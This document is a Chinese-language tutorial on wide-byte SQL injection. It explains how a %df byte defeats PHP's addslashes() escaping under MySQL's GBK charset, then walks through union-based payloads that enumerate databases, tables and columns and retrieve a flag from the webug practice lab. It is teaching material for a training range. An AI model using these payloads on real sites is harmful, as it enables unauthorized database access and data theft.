1. 程式人生 > 其它 >寬位元組注入

寬位元組注入

寬位元組注入

1. 前置知識

  • 寬位元組注入應用背景:
    • 在php中存在一個addslashes()函式。
    • 該函式的作用:
      • 在預定義字元(預定義字元包括:單引號、雙引號、反斜槓、NULL)之前新增反斜槓進行轉義,並返回處理完畢後的字串。
      • 所謂的轉義是指:預定義字元在加上反斜線之後,就已經不具備其原有的語法功能了(即:預定義字元就僅僅是一個普通的字串了)
    • 該函式經常用於處理由 GET、POST 和 COOKIE 三種方式接收的資料,以便規範使用者的輸入,預防sql注入。
  • 寬位元組注入原理:
    • 在使用PHP連線MySQL的時候,當設定“set character_set_client = gbk”時會導致一個編碼轉換的問題,也就是我們熟悉的寬位元組注入,當存在寬位元組注入的時候,注入引數裡帶入%DF%27,即可把(%5C)吃掉,舉個例子。
    http://www.nicai.com/index.php?id=1
    
    • 當提交 ?id=1' and 1=1%23 時,MySQL執行的SQL語句為
      • select * from user where id ='1\' and 1=1#'
    • 很明顯這是沒有注入成功的,而當我們提交 id=1%df' and 1=1%23 時,MySQL執行的SQL語句就變為了
      • select * from user where id ='1運' and 1=1#'
    • 逃逸成功!!!
    • 我們這裡的寬位元組注入是利用MySQL的一個特性,MySQL在使用GBK編碼的時候,由於GBK是多位元組編碼,會認為兩個位元組代表一個漢字(前一個ASCII碼要大於128,才到漢字的範圍),所以%DF和後面的\也就是%5c中變成了一個漢字“運”,從而使單引號逃逸了出來。

2. 注入流程

  • 當我們使用寬位元組把轉義繞過之後,剩下的操作其實就和聯合注入相同了
  1. 判斷注入點
  2. 判斷當前注入點所查詢的欄位數
  3. 確定顯示位
  4. 查詢當前資料庫的版本、當前登入的使用者、當前資料庫名
  5. 查詢mysql中所有的資料庫
  6. 查詢資料庫中所有存在的表
  7. 查詢表中所有的欄位名
  8. 查詢flag

3. 靶場實戰

  • 這裡所應用的靶場為:webug

3.1 判斷注入點

  • payload:
    ?id=1'
    ?id=1"
    ?id=1 and 1=1
    ?id=1 and 1=2
    
    • 以上payload在傳送之後,我們發現頁面返回的資訊都是相同的,沒有發生變化。此時我們就應該想到,很有可能是我們的單(雙)引號被轉義了,那麼此時我們就應該進行逃逸
  • payload:
    ?id=1%df'
    ?id=1%df' %23
    
    • 由下圖的返回我們可以看出,我們的程式碼被成功執行了,即當前頁面存在注入點,且為字元型注入

3.2 判斷當前注入點所查詢的欄位數

  • payload:
    ?id=1%df' order by 2 %23
    ?id=1%df' order by 3 %23
    
    • 由頁面返回結構可知,當前注入點所查詢的欄位數為:2

3.3 確定顯示位

  • payload:
    ?id=1%df' and 1=2 union select 1,2 %23
    
    • 由頁面返回結果可知,顯示位為:2號

3.4 查詢當前資料庫的版本、當前登入的使用者、當前資料庫名

  • payload:
    ?id=1%df' and 1=2 union select 1,concat_ws(0,database(),user(),version()) %23
    
    • 由頁面返回結果可知:
      1. 當前資料庫名為:webug_width_byte;
      2. 當前登入的使用者名稱為;root@localhost;
      3. 當前資料庫的版本為:5.5.53

3.5 查詢mysql中所有的資料庫

  • payload:
    ?id=1%df' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata) %23
    
    • 由頁面返回結果可知,名為 webug 的資料庫正是我們所需要的。
    • 之所以會存在這個步驟是因為,webug靶場的flag是儲存在 webug資料庫中的,而當前資料為webug_width_byte,所以我們還要查詢mysql中的其他資料庫。

3.6 查詢資料庫中所有存在的表

  • payload:
    ?id=1%df' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7765627567) %23
    
    • 上面payload中的 0x7765627567 是字串 webug 的十六進位制形式(之所以這樣寫是因為單引號會被轉義)。
    • 有頁面返回結果可知,flag表正是我們所需要的。

3.7 查詢表中所有的欄位名

  • payload:
    ?id=1%df' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167) %23
    
    • 上面payload中的 0x666C6167 是字串 flag 的十六進位制形式
    • 由頁面返回結果可知,存在flag欄位

3.8 查詢flag

  • payload:
    ?id=1%df' and 1=2 union select 1,flag from webug.flag %23
    
    • 由於當前注入點所查詢的資料庫為 webug_width_byte,而我們真正所要查詢的flag表卻在webug資料庫中,所以在我們進行select查詢時,from關鍵字後面的表名要指定其所在的資料庫名:資料庫.表名 -> webug.flag
    • 由頁面返回結果可知,flag:dfafdasfafdsadfa